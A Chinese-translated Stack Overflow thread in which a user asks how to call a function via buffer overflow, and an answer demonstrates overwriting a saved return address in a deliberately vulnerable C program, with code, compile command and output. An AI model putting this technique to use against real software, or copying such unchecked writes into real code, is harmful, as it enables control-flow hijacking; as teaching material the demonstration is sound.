【问题标题】:How can I invoke a function using buffer overflow?如何使用缓冲区溢出调用函数?
【发布时间】:2014-09-29 19:44:14
【问题描述】:

我有这个明显包含缓冲区溢出的代码块,因为我可以在数组 a 中输入超过 4 个值。我想使用缓冲区溢出调用一个函数。我知道这个函数的地址。我知道我需要覆盖函数返回地址,但我不确定如何实际执行此操作?此外,如果我设置 n = 5 并将 5 个值写入数组 a,程序不会崩溃,即使只为 4 个值分配了内存。为什么会这样,我该怎么做才能让程序崩溃?我使用的是旧版本的 Ubuntu,它不检查缓冲区溢出。

int a[4];
for (i = 0;i <n ;i++)
printf ("\n a[%d] = %x, address = %x", i, a[i], &a[i]);
printf("\nEnter %d HEX Values \n", n);
for (i=0;i<n;i++)  
  scanf("%x",&a[i]);
   printf("Done reading\n");

【问题讨论】:

  • 不清楚你想要什么以及为什么。
  • 写入更多数据,最终会在数据足够多的情况下崩溃。您需要覆盖存储在堆栈中的返回值。
  • 您需要更多信息(或在试错过程中耐心等待)才能成功利用此代码。至少,你需要整个函数的代码,并且了解架构、编译器和操作系统。
  • @5gon12eder 绝对夸张。您肯定需要了解架构,但仅此而已。
  • 查找“为了乐趣和利润而粉碎堆栈”。这是一个很好的起点。

标签: c buffer-overflow


【解决方案1】:

这是一个在我的系统上工作的漏洞(x86_64 GNU/Linux 上的 GCC)。请不要告诉我你已经尝试过了,但它“没有用”——该程序故意调用未定义的行为,而就其本质而言,这是不可移植的。 C 标准中没有规定编译器必须生成易于以可移植方式利用的代码。

为了给出一个完整的例子,我稍微修改了代码。首先是一些标题:

#include <assert.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>

这是我们希望利用的易受攻击的函数:

static int
vulnerable(void)
{
  uint64_t a[4];
  int n;
  int i;
  for (i = 0; i < 10; ++i)
    printf("a[%d] = 0x%016lX\n", i, a[i]);
  printf("Enter the number of values:  ");
  scanf("%d", &n);
  for (i = 0; i < n; ++i)
    {
      printf("Enter value %d of %d:  ", i, n);
      uint64_t temp;
      scanf("%lX", &temp);
      if (temp)
        a[i] = temp;
    }
  for (i = 0; i < 10; ++i)
    printf("a[%d] = 0x%016lX\n", i, a[i]);
  return n;
}

我对代码进行了一些修改,使其只写入非零值。这使得我们覆盖我们不想覆盖的东西的可能性降低了一点。这当然是不必要的,因为在这种情况下,我们同样可以简单地输入我们知道已经存储在地址中的值。

这是我们要调用的函数:

static void
target(void)
{
  printf("Exploit succeeded!\n");
  exit(0);
}

为避免读取汇编或反编译对象,我们将向main 函数添加一些诊断输出。应该清楚的是,漏洞利用并不依赖于此。

int
main()
{
  assert(sizeof(void *) == sizeof(uint64_t));  /* (1) */
  printf("%p  return\n", (&&label));           /* (2) */
  printf("%p  target\n", target);              /* (3) */
  vulnerable();
 label:
  return 0;
}

第 (1) 行只是为了确保我们假设正确的地址大小。在第 (2) 行,我们打印调用 vulnerable 时将在堆栈上的返回地址。 (&amp;&amp;label 语法是获取标签地址的 GCC 扩展。)第 (3) 行打印出目标函数的地址。

我们不希望编译器做出可能破坏我们的漏洞利用的智能操作,因此我们将禁用所有优化并编译如下:

$ gcc -O0 -o main main.c -static

然后,当我们运行程序时,它可能会输出以下内容:

$ ./main 0x400e44 返回 0x400dfb 目标 a[0] = 0x0000000000000001 a[1] = 0x0000000000000001 a[2] = 0x00007FFF3E81E588 a[3] = 0x00000000004014F7 a[4] = 0x0000000000400290 a[5] = 0x00000005006B4310 a[6] = 0x00007FFF3E81E4A0 a[7] = 0x0000000000400E44 a[8] = 0x00000000006B4310 a[9] = 0x0000000000401093

我们很快就在偏移量 7 处找到了返回地址。 通过仔细阅读汇编代码,我们可能已经获得了相同的知识。知道我们必须做什么,我们为程序提供:

输入值的数量:8 输入值 0 of 8: 0 输入值 1(共 8 个):0 输入值 2(共 8 个):0 输入值 3(共 8 个):0 输入值 4(共 8 个):0 输入值 5(共 8 个):0 输入值 6(共 8 个):0 输入值 7(共 8 个):0x400dfb

以下输出表明我们已经成功覆盖了返回地址,并且漏洞利用实际上成功了。

a[0] = 0x0000000000000001 a[1] = 0x0000000000000001 a[2] = 0x00007FFF3E81E588 a[3] = 0x00000000004014F7 a[4] = 0x0000000000400290 a[5] = 0x00000005006B4310 a[6] = 0x00007FFF3E81E4A0 a[7] = 0x0000000000400DFB a[8] = 0x00000000006B4310 a[9] = 0x0000000000401093 漏洞利用成功!

【讨论】:

    猜你喜欢
    • 2011-01-20
    • 1970-01-01
    • 2023-03-11
    • 2014-07-22
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2021-01-29
    相关资源
    最近更新 更多